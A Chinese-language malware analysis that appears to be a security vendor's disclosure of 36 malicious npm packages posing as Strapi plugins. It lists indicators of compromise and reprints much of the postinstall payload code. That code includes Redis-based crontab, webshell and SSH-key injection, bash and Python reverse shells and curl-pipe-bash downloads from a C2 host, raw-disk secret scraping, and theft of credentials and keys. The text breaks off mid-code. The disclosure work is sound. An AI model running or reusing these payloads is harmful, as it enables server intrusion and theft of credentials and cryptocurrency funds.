简而言之
这是一次协调一致的运动,涉及36个恶意npm包,它们伪装成Strapi CMS插件,通过四个sock-puppet npm账户(umarbek1233、kekylf12、tikeqemif26和umar_bektembiev1)发布。与你对包垃圾邮件活动的预期相反,分析后的包携带了不同的载荷——共八个独立变体,揭示了针对特定目标的实时攻击开发过程。
按发布时间顺序排列的包:
strapi-plugin-cron(UTC 02:02)——Redis RCE利用:通过crontab条目注入,编写PHP webshell和Node.js反向shell到Strapi上传目录,尝试SSHauthorized_keys注入,通过mknod+dd读取原始磁盘,并窃取Guardarian API模块。strapi-plugin-config(UTC 02:47)——Redis + Docker overlay逃逸:发现Docker overlayupperdir路径,向overlay和主机可访问目录编写shell载荷,启动Python反向shell,读取原始磁盘获取Elasticsearch和钱包凭据,并向node_modules注入钩子。strapi-plugin-server(UTC 03:01)、**strapi-plugin-database(UTC 03:05)、strapi-plugin-core(UTC 03:06)、strapi-plugin-hooks**(UTC 03:37)——直接反向shell:主机名门控(hostname.includes('prod')),从C2下载并执行shell脚本,启动bash(端口4444)和Python(端口8888)反向shell,并通过Redis写入和执行shell载荷。strapi-plugin-monitor(UTC 03:40)——凭据收割器 + 短C2:8阶段攻击,包含智能env_keys过滤、PostgreSQL连接字符串搜索、Redis访问、钱包/密钥文件搜索,以及2.5分钟的轮询C2循环。strapi-plugin-events(UTC 03:46)——完整凭据收割器 + 长C2:最全面的变体,包含11个阶段,包括.env文件窃取、完整环境变量转储、Strapi配置窃取、文件系统范围秘密发现、Redis数据转储、网络侦察、Docker/Kubernetes秘密窃取、私钥获取,以及5分钟的轮询C2循环。strapi-plugin-seed(UTC 04:45)——直接PostgreSQL数据库利用:使用硬编码凭据连接(user_strapi/1QKtYPp18UsyU2ZwInVM),转储Strapi webhook和core_store秘密,枚举服务器上的所有数据库,转储匹配钱包/交易/存款模式的表,并明确探测名为guardarian、guardarian_payments、payments、exchange和custody的数据库。[email protected](UTC 11:53)——持久性植入物:主机名门控(hostname === 'prod-strapi'),向/tmp/.node_gc.js写入持久性C2代理,脱离式启动,并在crontab中安装条目以在重启后存活。[email protected](UTC 15:04)——无文件反向shell + 有针对性凭据窃取:针对/var/www/nowguardarian-strapi/和/opt/secrets/strapi-green.env,代码注释中引用Jenkins CI管道,扫描/opt/secrets/和/var/www/*/,并通过node -e生成无文件持久性反向shell。
影响:
- 通过
CONFIG SET利用Redis写入crontab条目、webshell、反向shell和SSH密钥 - 尝试通过overlay文件系统发现进行Docker容器逃逸
- 在端口4444和8888上启动bash和Python反向shell
- 通过
mknod+dd读取原始磁盘以提取密码、钱包助记词和SSH私钥 - 使用硬编码凭据直接连接PostgreSQL并转储钱包/交易表
- 枚举服务器上的所有数据库,探测
guardarian、guardarian_payments、exchange、custody - 窃取
.env文件、环境变量、Strapi配置和私钥 - 转储Redis密钥并搜索PostgreSQL连接字符串
- 窃取Docker/Kubernetes秘密和服务账户令牌
- 打开轮询C2会话以执行任意命令
- 安装持久后门(crontab、脱离进程、无文件执行)
- 针对特定的加密货币支付平台基础设施
入侵指标(IoC):
IoC:恶意包
| 包名 | 版本 | 作者 | |
|---|---|---|---|
| 1 | strapi-plugin-cron | 3.6.8 | umarbek1233 |
| 2 | strapi-plugin-config | 3.6.8 | umarbek1233 |
| 3 | strapi-plugin-server | 3.6.8 | umarbek1233 |
| 4 | strapi-plugin-database | 3.6.8 | umarbek1233 |
| 5 | strapi-plugin-core | 3.6.8 | umarbek1233 |
| 6 | strapi-plugin-hooks | 3.6.8 | umarbek1233 |
| 7 | strapi-plugin-monitor | 3.6.8 | umarbek1233 |
| 8 | strapi-plugin-events | 3.6.8 | umarbek1233 |
| 9 | strapi-plugin-logger | 3.6.8 | umarbek1233 |
| 10 | strapi-plugin-health | 3.6.8 | kekylf12 |
| 11 | strapi-plugin-sync | 3.6.8 | kekylf12 |
| 12 | strapi-plugin-seed | 3.6.8 | kekylf12 |
| 13 | strapi-plugin-locale | 3.6.8 | kekylf12 |
| 14 | strapi-plugin-form | 3.6.8 | kekylf12 |
| 15 | strapi-plugin-notify | 3.6.8 | kekylf12 |
| 16 | strapi-plugin-api | 3.6.8 | kekylf12 |
| 17 | strapi-plugin-api | 3.6.9 | kekylf12 |
| 18 | strapi-plugin-sitemap-gen | 3.6.8 | tikeqemif26 |
| 19 | strapi-plugin-nordica-tools | 3.6.10 | tikeqemif26 |
| 20 | strapi-plugin-nordica-sync | 3.6.8 | tikeqemif26 |
| 21 | strapi-plugin-nordica-cms | 3.6.8 | tikeqemif26 |
| 22 | strapi-plugin-nordica-api | 3.6.8 | tikeqemif26 |
| 23 | strapi-plugin-nordica-recon | 3.6.8 | tikeqemif26 |
| 24 | strapi-plugin-nordica-stage | 3.6.8 | tikeqemif26 |
| 25 | strapi-plugin-nordica-vhost | 3.6.8 | tikeqemif26 |
| 26 | strapi-plugin-nordica-deep | 3.6.8 | tikeqemif26 |
| 27 | strapi-plugin-nordica-lite | 3.6.11 | tikeqemif26 |
| 28 | strapi-plugin-nordica | 3.6.10 | umar_bektembiev1 |
| 29 | strapi-plugin-finseven | 3.6.8 | umar_bektembiev1 |
| 30 | strapi-plugin-hextest | 3.6.8 | umar_bektembiev1 |
| 31 | strapi-plugin-cms-tools | 3.6.8 | umar_bektembiev1 |
| 32 | strapi-plugin-content-sync | 3.6.8 | umar_bektembiev1 |
| 33 | strapi-plugin-debug-tools | 3.6.8 | umar_bektembiev1 |
| 34 | strapi-plugin-health-check | 3.6.8 | umar_bektembiev1 |
| 35 | strapi-plugin-guardarian-ext | 3.6.8 | umar_bektembiev1 |
| 36 | strapi-plugin-advanced-uuid | 3.6.8 | umar_bektembiev1 |
| 37 | strapi-plugin-blurhash | 3.6.8 | umar_bektembiev1 |
37行
| 3列
IoC:基础设施、凭据和持久性
| 类别 | 指标 | 详情 | |
|---|---|---|---|
| 1 | npm账户 | umarbek1233 | [email protected] |
| 2 | npm账户 | kekylf12 | [email protected] |
| 3 | npm账户 | tikeqemif26 | 未知 |
| 4 | npm账户 | umar_bektembiev1 | 未知 |
| 5 | C2服务器 | 144[.]31[.]107[.]231:9999 | HTTP C2 |
| 6 | C2服务器 | 144[.]31[.]107[.]231:4444 | bash反向shell |
| 7 | C2服务器 | 144[.]31[.]107[.]231:8888 | Python反向shell |
| 8 | C2路径 | /exfil/ | 数据窃取端点 |
| 9 | C2路径 | /c2/<id>/ | 凭据收割器C2 |
| 10 | C2路径 | /db/<id>/ | 数据库利用 |
| 11 | C2路径 | /shell/ | 持久性植入物C2 |
| 12 | C2路径 | /build/<id>/ | 无文件shell C2 |
| 13 | C2路径 | /bshell/ | 反向shell回调 |
| 14 | 凭据 | user_strapi / 1QKtYPp18UsyU2ZwInVM | 硬编码PostgreSQL凭据 |
| 15 | 目标数据库 | guardarian | 被探测的数据库名 |
| 16 | 目标数据库 | guardarian_payments | 被探测的数据库名 |
| 17 | 目标数据库 | payments | 被探测的数据库名 |
| 18 | 目标数据库 | api_payments | 被探测的数据库名 |
| 19 | 目标数据库 | exchange | 被探测的数据库名 |
| 20 | 目标数据库 | custody | 被探测的数据库名 |
| 21 | 持久性 | /tmp/.node_gc.js | 持久性C2代理脚本 |
| 22 | 持久性 | crontab pgrep -f node_gc | crontab持久性条目 |
| 23 | 持久性 | Redis CONFIG SET crontab | 通过Redis写入的crontab |
| 24 | webshell | /app/public/uploads/shell.php | PHP webshell |
| 25 | webshell | /app/public/uploads/revshell.js | Node.js反向shell |
| 26 | 持久性文件 | /tmp/redis_exec.sh | Redis执行载荷 |
| 27 | 持久性文件 | /tmp/vps_shell.sh | VPS shell载荷 |
| 28 | 持久性文件 | /app/node_modules/.hooks.js | 注入的钩子 |
| 29 | 原始磁盘访问 | mknod /tmp/hostdisk b 8 1 | 块设备创建 |
| 30 | 原始磁盘访问 | dd if=/dev/sda1 | 原始磁盘读取 |
| 31 | Redis利用 | CONFIG SET dir + CONFIG SET dbfilename + SAVE | 通过Redis的任意文件写入 |
| 32 | 文件系统扫描 | find / for.env*.pem.key id_rsa* wallet* | 秘密发现命令 |
32行
| 3列
分析
活动概述
36个包使用四个npm账户发布(umarbek1233发布9个,kekylf12发布7个,tikeqemif26发布10个,umar_bektembiev1发布10个),它们共享相同的3文件包结构和相同的攻击模式。umarbek1233和kekylf12账户共享同一个一次性邮件提供商(@sharebot.net),Node.js/npm版本完全相同(v24.13.1 / npm 11.8.0)。这是单个操作者使用多个sock-puppet账户来部署最针对性的变体。
值得注意的是,umar_bektembiev1账户发布最早一批——包括strapi-plugin-nordica、strapi-plugin-finseven、strapi-plugin-guardarian-ext和其他包——比umarbek1233和kekylf12批次早3天。kekylf12账户在两个后来的发布窗口期间都保持活跃——strapi-plugin-seed在UTC 04:45发布(距上一个umarbek1233包不到一小时),而strapi-plugin-api版本则在7-10小时后发布。tikeqemif26账户发布了包括strapi-plugin-nordica-*系列在内的更多波次。这种重叠表明所有四个账户由同一攻击者操作。
每个包包含三个文件(package.json、index.js、postinstall.js),没有描述、仓库或主页,使用版本3.6.8以冒充成熟的Strapi v3社区插件。包名遵循合法包使用的命名约定,如strapi-plugin-comments或strapi-plugin-upload。所有官方Strapi插件都在@strapi/下有作用域,这些无作用域的名称是一种社会工程选择,针对搜索社区插件的开发者。
所有十个包的package.json结构完全相同:
{
"name": "strapi-plugin-events",
"version": "3.6.8",
"main": "index.js",
"scripts": {
"postinstall": "node postinstall.js"
},
"license": "MIT"
}index.js导出一个空函数,不会对任何应用程序产生任何作用:
module.exports = () => {};整个载荷位于postinstall.js中,每个包都不同。攻击通过postinstall脚本在npm install时立即执行——无需用户交互或调用require()。postinstall脚本以安装用户的权限运行,在CI/CD环境和Docker容器中通常意味着root权限。
载荷1:Redis RCE利用(strapi-plugin-cron)
该活动中的第一个包试图利用本地可访问的Redis实例进行远程代码执行。这是最激进的载荷——它超越了数据窃取,试图通过Redis对主机进行持久性入侵。
分块数据窃取。与后来的单一POST发送数据的载荷不同,此变体实现了分块协议,将大载荷分成50KB片段并带有部分编号(例如/exfil/cr-redis-info-p1of3):
// package/postinstall.js (strapi-plugin-cron)
function send(tag, data) {
return new Promise(function (resolve) {
var body = typeof data === 'string' ? data : JSON.stringify(data);
var chunks = [];
for (var i = 0; i < body.length; i += 50000) chunks.push(body.substring(i, i + 50000));
var idx = 0;
(function next() {
if (idx >= chunks.length) return resolve();
var s = chunks.length > 1 ? '-p' + (idx + 1) + 'of' + chunks.length : '';
var req = http.request({
hostname: VPS,
port: PORT,
path: '/exfil/' + tag + s,
// ...
});
})();
});
}Redis crontab注入。该脚本使用经典的Redis CONFIG SET dir + SAVE技术将任意文件写入文件系统。它试图注入一个cron条目,每分钟从C2下载并执行一个shell脚本:
// package/postinstall.js (strapi-plugin-cron)
var cronPayload = '\\n\\n*/1 * * * * curl -s http://' + VPS + ':' + PORT + '/shell.sh | bash\\n\\n';
var cronPaths = [
{ dir: '/var/spool/cron/crontabs', file: 'root' },
{ dir: '/var/spool/cron', file: 'root' },
{ dir: '/etc/cron.d', file: 'redis_job' },
{ dir: '/etc', file: 'crontab' },
{ dir: '/tmp', file: 'cron_test' },
];
for (var i = 0; i < cronPaths.length; i++) {
var p = cronPaths[i];
var cmd =
'CONFIG SET dir ' +
p.dir +
'\r\n' +
'CONFIG SET dbfilename ' +
p.file +
'\r\n' +
'SET cron_payload "' +
cronPayload +
'"\r\n' +
'SAVE\r\n';
var result = await redisCmd(cmd);
}这将Redis数据库文件(包含被二进制数据包围的cron载荷)写入系统crontab目录。尝试了五个路径,包括/tmp/cron_test空运行以首先验证写入能力。
通过Redis写入PHP webshell和Node.js反向shell。该脚本向Strapi的公共上传目录写入两个额外的载荷:
// package/postinstall.js (strapi-plugin-cron)
// PHP webshell
var webshellPayload = '\\n<?php system($_GET["c"]); ?>\\n';
var webshellCmd =
'CONFIG SET dir /app/public/uploads\r\n' +
'CONFIG SET dbfilename shell.php\r\n' +
'SET webshell "' +
webshellPayload +
'"\r\n' +
'SAVE\r\n';
// Node.js reverse shell
var nodeShell =
'\\nvar net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]);' +
'var c=new net.Socket();c.connect(' +
PORT +
',"' +
VPS +
'",function(){' +
'c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);});\\n';如果Redis有权写入/app/public/uploads/,攻击者将在/uploads/shell.php?c=<command>获得PHP webshell,在/uploads/revshell.js获得Node.js反向shell。
通过Redis注入SSH authorized_keys。该脚本试图将SSH公钥写入/root/.ssh/authorized_keys:
// package/postinstall.js (strapi-plugin-cron)
var sshPayload = '\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7test root@vps\\n\\n';
var sshCmd =
'CONFIG SET dir /root/.ssh\r\n' +
'CONFIG SET dbfilename authorized_keys\r\n' +
'SET sshkey "' +
sshPayload +
'"\r\n' +
'SAVE\r\n';这里使用的密钥(AAAAB3NzaC1yc2EAAAADAQABAAABgQC7test)是一个占位符——注释// Generate SSH keypair on VPS later确认这是准备通过C2通道注入真实密钥。
原始磁盘读取。该脚本创建一个块设备节点并使用dd读取原始磁盘,在二进制数据中搜索秘密:
// package/postinstall.js (strapi-plugin-cron)
run('mknod /tmp/hostdisk b 8 1 2>/dev/null');
var rawSecrets = run(
'dd if=/dev/sda1 bs=4096 count=5000 2>/dev/null | strings | ' +
'grep -iE "PASSWORD=|SECRET=|ELASTIC|WALLET|PRIVATE_KEY|MNEMONIC|API_KEY=" | sort -u | head -100',
60000
);这完全绕过了文件系统权限——即使是被删除的文件或共享同一主机磁盘的其他容器中的文件也可以通过这种方式恢复。
Guardarian API模块窃取。该脚本专门针对Guardarian API集成模块,从第一个包就确认了对目标的了解:
// package/postinstall.js (strapi-plugin-cron)
await send('cr-gd-module', run('find /app/exteranl-apis -type f -name "*.js" -exec cat {} + 2>/dev/null'));注意拼写错误exteranl-apis(应为external-apis),必须与目标实际目录名匹配——这是先前侦察的进一步证据。
载荷2:Redis + Docker Overlay逃逸(strapi-plugin-config)
在第一个包发布45分钟后,此载荷在Redis利用方法的基础上增加了Docker容器逃逸技术。
Docker overlay文件系统发现。该脚本解析mount输出以找到Docker overlay upperdir——存储容器可写层的主机文件系统路径:
// package/postinstall.js (strapi-plugin-config)
var mountInfo = run('mount | grep overlay | head -3');
var upperMatch = mountInfo.match(/upperdir=([^,\s]+)/);
var upperDir = upperMatch ? upperMatch[1] : '';如果容器有权访问/proc/mounts或mount命令,upperdir会显示绝对主机路径。然后脚本使用Redis CONFIG SET dir向overlay路径写入shell载荷,有效地将文件写入对主机可见的容器外部。
战略性Redis写入目标。该脚本将Redis写入策略扩展到crontab之外的多个目录,包括发现的overlay路径:
// package/postinstall.js (strapi-plugin-config)
var paths = [
{ dir: upperDir, file: 'shell.sh', desc: 'overlay-root' },
{ dir: '/tmp', file: 'shell.sh', desc: 'tmp' },
{ dir: '/var/lib/redis', file: 'shell.sh', desc: 'redis-lib' },
{ dir: '/var/tmp', file: 'shell.sh', desc: 'var-tmp' },
{ dir: '/dev/shm', file: 'shell.sh', desc: 'dev-shm' },
{ dir: '/app/public', file: 'shell.sh', desc: 'app-public' },
{ dir: '/app/public/uploads', file: 'shell.sh', desc: 'app-uploads' },
];Python反向shell。除了基于Redis的技术外,该脚本还在端口4444上启动直接Python反向shell:
// package/postinstall.js (strapi-plugin-config)
execSync(
'nohup python3 -c "import socket,subprocess,os;s=socket.socket();' +
"s.connect(('" +
VPS +
"',4444));" +
'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);' +
"subprocess.call(['/bin/bash','-i'])\" &>/dev/null &",
{ timeout: 3000 }
);针对特定目标的原始磁盘读取。磁盘扫描扩展到搜索Elasticsearch凭据、Docker容器配置和加密货币钱包数据:
// package/postinstall.js (strapi-plugin-config)
var rawDocker = run(
'dd if=/dev/sda1 bs=4096 skip=0 count=50000 2>/dev/null | strings | ' +
'grep -B1 -A1 "config.v2.json\\|HOT_WALLET\\|COLD_WALLET\\|DEPOSIT_ADDRESS\\|payment\\|MNEMONIC" | head -100',
120000
);在原始磁盘数据中搜索HOT_WALLET、COLD_WALLET、DEPOSIT_ADDRESS和MNEMONIC确认了加密货币窃取目标。
Node_modules钩子注入。该脚本通过Redis将反向shell触发器写入应用程序的node_modules目录:
// package/postinstall.js (strapi-plugin-config)
var hookPayload = '\\nrequire("child_process").execSync("curl ' + VPS + ':' + PORT + '/shell.sh|bash");\\n';
var hookCmd =
'CONFIG SET dir /app/node_modules\r\n' +
'CONFIG SET dbfilename .hooks.js\r\n' +
'SET hook "' +
hookPayload +
'"\r\n' +
'SAVE\r\n';载荷3:直接反向Shell(strapi-plugin-server、database、core、hooks)
在UTC 03:01到03:37之间发布的四个包共享一个相同的简化载荷。攻击者似乎已经放弃了Redis利用方法(可能因为不起作用),转而使用直接shell执行。
主机名门控。这些包对主机名包含prod进行门控:
// package/postinstall.js (strapi-plugin-server)
var hn = run('hostname').trim();
await send('sv-start', hn);
if (!hn.includes('prod')) {
await send('sv-skip', 'not-prod');
return;
}这比载荷7的精确prod-strapi匹配检查更宽松——它在任何包含"prod"的主机名上触发(例如prod-strapi、production-1、prod-web)。
多向量反向shell。该脚本快速连续尝试三种不同的反向shell方法:
// package/postinstall.js (strapi-plugin-server)
// 1. Download and execute shell script from C2
run('curl -s http://' + VPS + ':9999/shell.sh -o /tmp/vps_shell.sh 2>/dev/null');
run('chmod +x /tmp/vps_shell.sh');
execSync('nohup bash /tmp/vps_shell.sh &>/dev/null &', { timeout: 3000 });
// 2. Bash reverse shell on port 4444
execSync('nohup bash -c "bash -i >& /dev/tcp/' + VPS + '/4444 0>&1" &>/dev/null &', { timeout: 3000 });
// 3. Python reverse shell on port 8888
execSync(
'nohup python3 -c "import socket,subprocess,os;s=socket.socket();' +
"s.connect(('" +
VPS +
"',8888));" +
'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);' +
"subprocess.call(['/bin/bash','-i'])\" &>/dev/null &",
{ timeout: 3000 }
);使用三个不同端口(9999、4444、8888),表明攻击者已准备好多个监听器,并且正在防范可能阻止特定端口的防火墙规则。
Redis辅助shell执行。作为后备,该脚本通过Redis写入shell下载器并执行生成的文件:
// package/postinstall.js (strapi-plugin-server)
c.write(
'CONFIG SET dir /tmp\r\nCONFIG SET dbfilename redis_exec.sh\r\n' +
'SET x "\\n#!/bin/bash\\ncurl -s http://' +
VPS +
':9999/shell.sh|bash\\n"\r\n' +
'SAVE\r\nCONFIG SET dir /var/lib/redis\r\nCONFIG SET dbfilename dump.rdb\r\n'
);
// Later: execute the Redis-written file
run('chmod +x /tmp/redis_exec.sh 2>/dev/null; nohup bash /tmp/redis_exec.sh &>/dev/null &');载荷4:凭据收割器 + 短C2(strapi-plugin-monitor)
在strapi-plugin-events发布前仅3分钟,此包代表从直接利用到侦察的转向。攻击者停止尝试获取shell,开始收集数据。
智能信标,包含env_keys过滤。与早期载荷中的原始主机名信标不同,此变体的信标包含敏感外观环境变量名的过滤列表:
// package/postinstall.js (strapi-plugin-monitor)
var info = {
id: ID,
hostname: run('hostname').trim(),
whoami: run('whoami').trim(),
pwd: process.cwd(),
uname: run('uname -a').trim(),
ip: run('hostname -I 2>/dev/null || echo n/a').trim(),
node: process.version,
env_keys: Object.keys(process.env).filter(function (k) {
return /key|secret|pass|token|db|redis|api|jwt|admin|auth|wallet|ledger/i.test(k);
}),
};env_keys过滤器告诉攻击者在窃取其值之前存在哪些敏感变量——这是针对有数百个变量的嘈杂环境的优化。
文件转储,包含/opt/app/路径。目标路径从标准Docker的/app/转移到/opt/app/——这是某些部署工具使用的约定:
// package/postinstall.js (strapi-plugin-monitor)
var files = [
'/opt/app/.env',
'/opt/app/config/database.js',
'/opt/app/config/server.js',
'/opt/app/config/plugins.js',
'/opt/app/package.json',
'/root/.env',
'/home/strapi/.env',
'/etc/hostname',
process.cwd() + '/.env',
process.cwd() + '/config/database.js',
];PostgreSQL连接字符串搜索。这是早期载荷中不存在的新阶段:
// package/postinstall.js (strapi-plugin-monitor)
var pgstr = run("grep -r 'postgres://' /opt/app/ 2>/dev/null; grep -r 'DATABASE_URL' /opt/app/ 2>/dev/null").slice(
0,
5000
);
await post('/c2/' + ID + '/pgstr', pgstr);更短的C2循环。轮询C2运行30轮,每5秒间隔(2.5分钟),而下一载荷为60轮(5分钟):
// package/postinstall.js (strapi-plugin-monitor)
for (var round = 0; round < 30; round++) {
var cmdResp = await post('/c2/' + ID + '/poll', JSON.stringify({ round: round }));
if (cmdResp && cmdResp.trim() && cmdResp.trim() !== 'nop') {
var result = run(cmdResp.trim());
await post(
'/c2/' + ID + '/result',
JSON.stringify({ round: round, cmd: cmdResp.trim(), out: result.slice(0, 100000) })
);
}
await new Promise(function (r) {
setTimeout(r, 5000);
});
}载荷5:完整凭据收割器 + 长C2(strapi-plugin-events)
在strapi-plugin-monitor发布6分钟后,这是该活动中最全面的侦察载荷。它扩展了载荷4,增加了更广泛的文件发现、完整环境变量转储、Redis数据提取、网络拓扑映射、Docker/Kubernetes秘密窃取,以及更长的C2窗口。
C2基础设施设置。该脚本与硬编码服务器建立通信:
// package/postinstall.js (strapi-plugin-events)
var http = require('http');
var exec = require('child_process').execSync;
var fs = require('fs');
var VPS = '144.31.107.231';
var PORT = 9999;
var ID = 'guard-' + Math.random().toString(36).slice(2, 8);每个受感染主机生成一个随机会话ID(例如guard-k7f2m9),用于命名空间化所有C2通信。post()辅助函数通过明文HTTP POST将数据发送到C2服务器,超时时间为15秒。
阶段1:信标。该脚本将系统侦察数据发送到/c2/<id>/beacon:
// package/postinstall.js (strapi-plugin-events)
var info = {
id: ID,
hostname: run('hostname').trim(),
whoami: run('whoami').trim(),
pwd: process.cwd(),
uname: run('uname -a').trim(),
ip: run('hostname -I 2>/dev/null || echo n/a').trim(),
node: process.version,
};
await post('/c2/' + ID + '/beacon', info);这使攻击者立即获得受感染主机的清单:用户名、主机名、内核版本、内部IP和Node.js版本。
阶段2:.env文件窃取。该脚本从针对常见Strapi部署布局的硬编码路径读取.env文件:
// package/postinstall.js (strapi-plugin-events)
var envPaths = [
'/app/.env',
'/app/.env.production',
'/app/.env.local',
'/data/.env',
'/home/strapi/.env',
'/home/node/.env',
'/opt/app/.env',
'/srv/.env',
process.cwd() + '/../.env',
process.cwd() + '/../../.env',
process.cwd() + '/../../../.env',
];路径/app/.env、/home/strapi/.env和/home/node/.env针对使用常见基础镜像运行Strapi的Docker容器。相对路径遍历(../../.env)从node_modules安装目录向上走到达项目根目录。
阶段3:环境变量转储。该脚本通过shell运行env来捕获每个环境变量,包括数据库连接字符串、云提供商凭据以及Strapi应用程序通常通过环境变量配置的JWT密钥。
// package/postinstall.js (strapi-plugin-events)
var envDump = run('env');
await post('/c2/' + ID + '/envdump', envDump.slice(0, 100000));阶段4:Strapi配置文件。该脚本专门针对Strapi的配置目录结构:
// package/postinstall.js (strapi-plugin-events)
var configs = [
'/app/config/database.js',
'/app/config/server.js',
'/app/config/plugins.js',
'/app/config/middleware.js',
'/app/config/functions/bootstrap.js',
'/app/config/environments/production/database.json',
'/app/package.json',
'/app/yarn.lock',
];这些文件包含数据库连接详情、第三方插件的API密钥以及应用程序的依赖树。
阶段5:文件系统范围的.env发现。该脚本使用find定位系统上每个.env文件,深度最多5个目录:
// package/postinstall.js (strapi-plugin-events)
var allEnv = run("find / -maxdepth 5 -name '.env*' -type f 2>/dev/null");
await post('/c2/' + ID + '/allenv', allEnv);这是我们动态分析系统标记的行为。它捕获非标准位置中的.env文件,这些是阶段2中硬编码路径会遗漏的。
阶段6:Redis数据转储。该脚本打开到本地Redis实例的原始TCP连接并转储所有密钥:
// package/postinstall.js (strapi-plugin-events)
var net = require('net');
var c = new net.Socket();
c.connect(6379, '127.0.0.1', function () {
c.write('INFO server\r\nDBSIZE\r\nKEYS *\r\n');
});Strapi部署通常使用Redis进行缓存和会话存储。这会转储服务器信息、数据库大小和每个密钥名称,这些可能包含会话令牌和缓存的API响应。
阶段7:网络侦察。该脚本收集网络拓扑信息:
// package/postinstall.js (strapi-plugin-events)
var internal = run(
'cat /etc/hosts 2>/dev/null; echo ---RESOLV---; cat /etc/resolv.conf 2>/dev/null; echo ---ARP---; arp -a 2>/dev/null; echo ---ROUTE---; ip route 2>/dev/null'
);这映射内部网络以便横向移动:DNS解析器、ARP邻居和路由表揭示了从受感染容器可到达的其他服务和主机。
阶段8:Docker和Kubernetes秘密。该脚本尝试读取容器编排秘密:
// package/postinstall.js (strapi-plugin-events)
var docker = run(
'ls -la /var/run/docker.sock 2>/dev/null; echo ---; cat /run/secrets/* 2>/dev/null; echo ---DOCKERENV---; cat /.dockerenv 2>/dev/null; echo ---KUBE---; ls -la /var/run/secrets/kubernetes.io/ 2>/dev/null; cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null'
);如果Docker socket可访问,攻击者可以控制主机的Docker守护进程。Kubernetes服务账户令牌启用对集群的API访问,可能允许权限升级到受感染的pod之外。
阶段9:私钥和钱包窃取。该脚本使用find定位加密密钥和加密货币钱包文件:
// package/postinstall.js (strapi-plugin-events)
var keys = run(
"find / -maxdepth 4 \\( -name '*.pem' -o -name '*.key' -o -name 'id_rsa*' -o -name 'wallet*' -o -name '*private*' -o -name '*secret*' \\) ! -path '*/ssl/certs/*' ! -path '*/node_modules/*' -type f 2>/dev/null"
);然后它读取最多10个发现的文件并将其内容发送到C2服务器。这会捕获TLS私钥、SSH密钥以及名称中包含"private"或"secret"的任何文件。
阶段10:Strapi数据库访问尝试。该脚本尝试加载应用程序的knex数据库驱动器和配置:
// package/postinstall.js (strapi-plugin-events)
var dbQuery = run(
"node -e \"const k=require('/app/node_modules/knex');const c=require('/app/config/database.js');\" 2>&1"
);阶段11:轮询C2循环。最后阶段建立持久命令与控制通道。该脚本每5秒轮询C2服务器60轮(约5分钟),执行服务器返回的任何命令:
// package/postinstall.js (strapi-plugin-events)
for (var round = 0; round < 60; round++) {
var cmdResp = await post('/c2/' + ID + '/poll', JSON.stringify({ round: round }));
if (cmdResp && cmdResp.trim() && cmdResp.trim() !== 'nop' && cmdResp.trim() !== 'ok') {
var result = run(cmdResp.trim());
await post(
'/c2/' + ID + '/result',
JSON.stringify({ round: round, cmd: cmdResp.trim(), out: result.slice(0, 100000) })
);
}
await new Promise(function (r) {
setTimeout(r, 5000);
});
}这使攻击者能够对受感染主机进行交互式shell访问。服务器在空闲时响应nop或ok,在活动时响应shell命令。结果发送回/c2/<id>/result。使用execSync意味着每个命令以Node.js进程的完整权限运行。
数据窃取
所有窃取的数据通过明文HTTP POST发送到144[.]31[.]107[.]231:9999。C2协议使用基于路径的路由:
| 路径 | 数据 |
|---|---|
/c2/<id>/beacon | 系统信息(主机名、用户、IP、内核) |
/c2/<id>/env | 各个.env文件内容 |
/c2/<id>/envdump | 完整env输出 |
/c2/<id>/config | Strapi配置文件 |
/c2/<id>/allenv | 磁盘上所有.env文件列表 |
/c2/<id>/sortedenv | 排序后的环境变量 |
/c2/<id>/redis-full | Redis服务器信息和所有密钥 |
/c2/<id>/network | /etc/hosts、resolv.conf、ARP、路由 |
/c2/<id>/docker | Docker socket、秘密、K8s令牌 |
/c2/<id>/keys | 发现的私钥文件列表 |
/c2/<id>/keyfile | 各个密钥文件的内容 |
/c2/<id>/result | C2命令的输出 |
未使用加密。所有数据(包括私钥和凭据)都通过HTTP明文传输。
载荷6:PostgreSQL数据库利用(strapi-plugin-seed)
在UTC 04:45由kekylf12账户发布——就在最后一个umarbek1233包发布后一小时——此载荷代表了先前入侵的最直接证据。它使用硬编码凭据连接到目标的PostgreSQL数据库,确认攻击者在此次活动开始前已经获得了访问权限。
硬编码数据库凭据。该脚本使用knex(Strapi的数据库驱动器)和烘焙到源代码中的真实凭据:
// package/postinstall.js (strapi-plugin-seed)
var knex = require('knex');
var db = knex({
client: 'pg',
connection: {
host: process.env.DATABASE_HOST || '127.0.0.1',
port: process.env.DATABASE_PORT || 5432,
user: process.env.DATABASE_USERNAME || 'user_strapi',
password: process.env.DATABASE_PASSWORD || '1QKtYPp18UsyU2ZwInVM',
database: process.env.DATABASE_NAME || 'strapi',
},
});后备值user_strapi和1QKtYPp18UsyU2ZwInVM不是通用默认值——它们是目标的实际数据库凭据。代码首先检查环境变量(这些变量会在目标的容器中设置),如果变量缺失则回退到硬编码值。
Strapi数据转储。该脚本查询特定于Strapi的表以获取秘密:
// package/postinstall.js (strapi-plugin-seed)
// Strapi webhooks (internal API URLs)
var webhooks = await db.raw('SELECT * FROM strapi_webhooks');
// core_store — filtered for sensitive values
var store = await db.raw('SELECT * FROM core_store');
for (var i = 0; i < store.rows.length; i++) {
var row = store.rows[i];
var val = String(row.value || '');
if (
val.indexOf('secret') >= 0 ||
val.indexOf('token') >= 0 ||
val.indexOf('key') >= 0 ||
val.indexOf('api') >= 0 ||
val.indexOf('webhook') >= 0 ||
val.indexOf('grant') >= 0 ||
val.indexOf('password') >= 0 ||
val.indexOf('auth') >= 0 ||
row.key.indexOf('grant') >= 0 ||
row.key.indexOf('users') >= 0
) {
await post('/db/' + ID + '/store-' + i, JSON.stringify(row));
}
}
// users-permissions settings (OAuth provider secrets)
var perms = await db.raw(
"SELECT * FROM core_store WHERE key LIKE '%users-permissions%' OR key LIKE '%grant%' OR key LIKE '%provider%'"
);跨数据库枚举。该脚本列出PostgreSQL服务器上的所有数据库,然后连接到每个非系统数据库并转储匹配加密货币相关模式的表:
// package/postinstall.js (strapi-plugin-seed)
var dbs = await db.raw('SELECT datname FROM pg_database WHERE datistemplate = false');
for (var i = 0; i < otherDbs.length; i++) {
var db2 = knex({
client: 'pg',
connection: {
host: '127.0.0.1',
port: 5432,
